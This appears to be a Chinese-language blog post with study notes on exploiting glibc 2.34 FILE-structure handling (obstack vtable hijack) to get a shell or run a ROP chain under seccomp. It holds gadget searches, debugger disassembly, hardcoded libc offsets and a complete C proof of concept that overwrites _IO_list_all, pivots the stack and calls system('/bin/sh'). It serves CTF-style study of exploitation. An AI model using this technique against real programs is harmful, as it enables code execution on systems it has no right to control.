https://tokameine.top/2023/02/20/glibc2-34-iofile-exploit/
书接上回,如果进行了seccomp等限制了getshell,那么就需要进行orw了
rop
博客中
1 2 3
| gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__() gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__() gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
|
另外一种gadget
rop的话其实就是把 system函数地址 换成了一个特殊的gadget
rdi其实是自己传入的chunk地址? rdi是进入CALL_CHUNKFUN前,也就是_obstack_newchunk函数时
rdi此时是自己伪造的第一个chunk,链入chain中的, 在进入CALL_CHUNKFUN前,要执行这两条指令,所以此时可以借此修改rdi, 把rdi+0x48的位置写入自己伪造的第二个chunk的地址 ( 好奇如果不是自己伪造的话,这里本来应该是什么值的? 是 _IO_save_base
1 2 3
| 0x7ffff7e3ed8c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48] ► 0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp 0x7ffff7e3ed93 <_obstack_newchunk+83> call rax
|
然后就执行这一段gadget了, 这一段可以把rdi+0x48还是布置成此chunk地址,然后rbp+0x18就是rdi+0x18了,rax就是rdi了,然后最后call rax+0x28 就是 call rdi+0x28,这是第一条指令,然后如果想rop的话,这里写入leave;ret;
1 2 3 4 5 6 7 8 9 10 11
| b *svcudp_reply +26 pwndbg> disass svcudp_reply Dump of assembler code for function svcudp_reply: ........... 0x00007ffff7f00bca <+26>: mov rbp,QWORD PTR [rdi+0x48] 0x00007ffff7f00bce <+30>: mov rax,QWORD PTR [rbp+0x18] 0x00007ffff7f00bd2 <+34>: lea r13,[rbp+0x10] 0x00007ffff7f00bd6 <+38>: mov DWORD PTR [rbp+0x10],0x0 0x00007ffff7f00bdd <+45>: mov rdi,r13 0x00007ffff7f00be0 <+48>: call QWORD PTR [rax+0x28]
|
然后此时rbp派上用上了,把它传给rsp,然后从rsp+8位置开始继续执行指令,
leave;ret = mov rsp,rbp;pop rbp; pop rip;
栈迁移目标chunk的选择
此时有两种选择, 要么还是同一个chunk,但是要把一些无用的数据pop掉,然后继续用,还是一种是,直接迁移到一个干净的chunk中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| #include<stdio.h> #include <stdlib.h> #include <string.h>
#define writeend_offset 0x30 #define writeptr_offset 0x28 #define vtable_offset 0xd8 #define next_free_offset 0x18 #define chunk_limit_offset 0x20 #define caller_offset 0x38 #define caller_arg_offset 0x48 #define use_arg_offset 0x50 #define fake_obstack_offset 0xe0
void backdoor(char *cmd) { puts("OHHH!HACKER!!!"); puts("HERE IS U SHELL!"); system(cmd); }
char *fake_arg = "/bin/sh\x00";
int main(void) { puts("this is a poc"); size_t libc_base = &puts - 0x80ef0; size_t _IO_list_all_prt = libc_base + 0x21a660; size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0; void *ptr,*ropptr; long long *list_all_ptr; ropptr = malloc(0x300); ptr=malloc(0x200); *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writeend_offset)=0x0; *(long long*)((long long)ptr+next_free_offset)=0x1; *(long long*)((long long)ptr+chunk_limit_offset)=0x0; *(long long*)((long long)ptr+use_arg_offset)=0x1; *(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr; *(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20); *(long long*)((long long)ptr+caller_offset)=(long long*)(libc_base+0x168bca); *(long long*)((long long)ptr+caller_arg_offset)=(long long*)(libc_base+0x168bca); *(long long*)((long long)ptr+0x48)=(long long*)(ropptr); *(long long*)((long long)ropptr+0x48)=(long long*)ropptr; *(long long*)((long long)ropptr+0x18)=(long long*)ropptr; *(long long*)((long long)ropptr+0x28)=(long long*)(libc_base+0x561cc); *(long long*)((long long)ptr+writeptr_offset)=0x1; const char binsh[] = "/bin/sh"; memcpy((char *)ropptr + 0x80, binsh, sizeof(binsh)); *(long long*)((long long)ropptr+0x8)=(long long*)(libc_base+0x11e491); *(long long*)((long long)ropptr+0x20)=(long long*)(libc_base+0x2a6c5); *(long long*)((long long)ropptr+0x30)=(long long*)(libc_base+0x2a6c5); *(long long*)((long long)ropptr+0x38)=(long long*)(ropptr+0x80); *(long long*)((long long)ropptr+0x40)=(long long*)(&system); list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20); list_all_ptr[0]=ptr; exit(0); }
|
ropptr 那里可以布置rop了,
rdi是怎么来的???什么时候控制的??
1 2 3
| 0x7ffff7e3ed8c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48] ► 0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp 0x7ffff7e3ed93 <_obstack_newchunk+83> call rax
|
0x000000000005f65a : pop rdx ; ret
0x000000000011e491 : pop rdx ; pop r12 ; ret
libc_base+0x2a6c5);//pop rdi;ret